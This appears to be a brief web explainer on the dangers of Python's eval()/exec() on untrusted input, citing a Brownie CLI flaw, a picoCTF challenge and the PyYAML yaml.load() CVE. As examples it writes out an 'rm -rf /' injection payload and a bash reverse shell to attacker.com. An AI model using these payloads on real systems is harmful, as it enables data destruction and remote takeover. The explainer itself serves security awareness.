Top 3 Real-World `eval()`/`exec()` Security Exploits
Insecure use of `eval()` or `exec()` on untrusted input enables arbitrary code execution, a critical vulnerability. A notable example is the CWE-95 flaw in Brownie's Python CLI, where `eval()` parsing network config allowed attackers to execute code with application privileges. CTF challenges like 'picoCTF 3v@l' also demonstrate practical exploits, including bypassing regex filters via ASCII manipulation to achieve remote code execution. Attackers can leverage such flaws to run commands like `__import__('os').system('rm -rf /')` for severe system compromise.
The top 3
- `eval()`'s Ultimate Danger: Arbitrary Code Execution: Untrusted input to Python's `eval()` or `exec()` functions allows attackers to run any arbitrary Python code, such as deleting files with `__import__('os').system('rm -rf /')` or stealing sensitive data, leading to a complete compromise of the application and underlying system.
- Critical Flaw: PyYAML's `yaml.load()` Code Execution: The popular Python library PyYAML had a significant vulnerability (CVE-2017-18342) before version 5.1, where using `yaml.load()` on untrusted input could lead to arbitrary Python object execution, mirroring the dangers of insecure deserialization with `pickle`.
- From `eval()` to Shell: Remote Command Injection: Attackers frequently exploit `eval()` or `exec()` to inject code that subsequently executes arbitrary operating system commands, such as spawning reverse shells like `__import__('os').system('bash -i >& /dev/tcp/attacker.com/port 0>&1')`, allowing for remote control and full system takeover.
Sources
Open the full topic